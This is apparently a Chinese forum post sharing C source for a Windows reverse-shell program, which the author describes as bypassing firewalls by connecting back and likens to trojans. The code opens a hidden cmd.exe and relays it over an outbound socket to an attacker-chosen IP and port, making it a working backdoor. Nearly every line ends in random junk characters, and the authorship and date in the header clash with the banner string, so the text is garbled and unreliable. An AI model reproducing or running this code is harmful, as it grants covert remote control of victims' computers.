这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I?PqWG!O
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/* ============================== ^4$4x
Rebound port in Windows NT i \NV<I
By wind,2006/7 b;jdk w|
===============================*/ =AzPAN#e
#include 3A`]Rk
#include j8Z;}Ps
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#pragma comment(lib,"wsock32.lib") a-|pSe*rx
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void OutputShell(); *t| !xO
SOCKET sClient; gC2}?nq*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IXtG
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void main(int argc,char **argv) -)(=~|,Pq/
{ ~|S0E:*.
WSADATA stWsaData; J$yq#LBbR@
int nRet; G-)e(u
SOCKADDR_IN stSaiClient,stSaiServer; K0(
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if(argc != 3) .kFO@:
{ [(x<2MTj
printf("Useage:\n\rRebound DestIP DestPort\n"); CBf[$[e
return; %k4Qx5`?d
} _2G _Io
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WSAStartup(MAKEWORD(2,2),&stWsaData); HJ]v-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rwXpB<@l@
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stSaiClient.sin_family = AF_INET; 50Gr\
stSaiClient.sin_port = htons(0); 7uc\AhOk6
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +^(_S9CO
{ -(?/95 Y
printf("Bind Socket Failed!\n"); @-[}pZ/
return; 9#U]?^DJ@
} qzNb\y9G
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stSaiServer.sin_family = AF_INET; ?SgFD4<~P
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7d>w]R,Z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ygk_gBRiC
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) L>IP!.J]?
{ 1ygEyC[1
printf("Connect Error!"); G(wK(P0j
return; BH {z]a
} I ==)a6^
OutputShell(); 'qT;Eht5
} 5&Yt=)c\
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void OutputShell() >&;J/ME
{ J@/4CSCR]
char szBuff[1024]; xwZ1Q,'C
SECURITY_ATTRIBUTES stSecurityAttributes; \0 h>!u
OSVERSIONINFO stOsversionInfo; 18NnXqe-m
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;6PU
STARTUPINFO stStartupInfo; VI4mEq,V
char *szShell; c>D~MCNxg
PROCESS_INFORMATION stProcessInformation; u=InE|SH
unsigned long lBytesRead; ;&J>a8B$
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ywhhs
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >gzM-d
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; :1 qLRr
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); wicsf<]
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #Q7:Mu+
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .B~yI3D`M
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B)@Xz<Q
stStartupInfo.wShowWindow = SW_HIDE; KdozB!\
stStartupInfo.hStdInput = hReadPipe; aPxSC>p
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9~Sa7P
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GetVersionEx(&stOsversionInfo); 7WmLC
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switch(stOsversionInfo.dwPlatformId) wT!?.Y)aj
{ `uPO+2
case 1: xL_QTj
szShell = "command.com"; wry`2_c
break; ."dT6u E
default: OAq-(_H
szShell = "cmd.exe"; 5(CInl
break; YG0/e#5
} BEb?jRMjLg
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Awfd0L;9
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send(sClient,szMsg,77,0); UNb7WN
while(1) Ue Ci{W
{ JzN "o'
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zu?112-v2
if(lBytesRead) -x6_HibbD
{ LI}e_=E
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )2y [#Blo
send(sClient,szBuff,lBytesRead,0); !U@ETo
} sT1OAK\^
else U3Gg:onuE
{ .CEC
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lBytesRead=recv(sClient,szBuff,1024,0); I_f%%N%
if(lBytesRead<=0) break; E!}'cxb^
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); g0biw?
} fsOlg9
} l,Q`;v5|
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return;
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}